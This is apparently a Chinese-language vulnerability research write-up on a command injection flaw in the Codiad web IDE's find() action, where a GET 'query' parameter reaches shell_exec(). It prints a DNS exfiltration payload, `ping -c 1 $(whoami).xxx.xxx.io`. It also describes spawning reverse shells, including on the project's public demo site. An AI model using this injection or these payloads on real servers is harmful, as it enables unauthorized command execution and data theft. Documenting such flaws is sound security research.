Codiad 是一个开源基于Web的IDE应用程序,用于在线编写和编辑代码。
仓库 :
https://github.com/Codiad/Codiad
通过phpstudy搭建基础,并开启Xdebug 。
可参考 https://blog.csdn.net/flyingdream123/article/details/69358819 进行环境配置。
通过cve漏洞库对Codiad以往漏洞进行查询,发现该框架对shell_exec()函数的处理上曾多次出现问题,将针对点锁定在了对该函数的调用上。
上一个版本中该处出现了命令执行漏洞,官网可能已经修补,先不考虑。
锁定find()函数调用
$cmd 参数由$input 设置
$input由$this->query设置
this->query参数通过get传参获取
查找对find()调用的位置
尝试更改action参数值为find并动态调试观察
在进入action判断前,对path参数进行了判定,所有此时一定要注意你当前目录的名字
走到这里以后,通过shell_exec执行拼接好的操作,我们可以清楚的看见此时我们构造query参数被””包含着,参考上一个代码执行漏洞的说明,在调用escapeshellarg函数对传入参数进行处理后,如果有””包含着,则仍然可以进行命令执行。
通过现有判断,我们开始构造payload,因为构造参数为Linux下,于是不得不开始搭建linux实验环境,参考 http://www.freebuf.com/articles/web/141788.html进行linux 环境搭建
将没有查询结果时返回信息修改为执行的$cmd
$this->message = $cmd; 便于我们查看执行的命令
采用dns外带查询判断是否有命令执行存在
需注意在“ 中再执行子命令应该使用$()执行
由此确定了该参数确实存在命令执行漏洞。
现在尝试反弹一下shell
服务器打开监听
发现shell成功反弹。
对demo站进行尝试。
执行语句后,无shell返回,尝试一下别的命令
`ping –c 1 $(whoami) .xxx.xxx.io“ 发现dns外带,仍然能够得到信息,证明命令执行是存在的,
考虑是不是存在别的限制。
开始尝试一下别的反弹shell的payload.
对网上payload进行了一一尝试
成功反弹shell,中间还有各种尝试,如wget写文件等等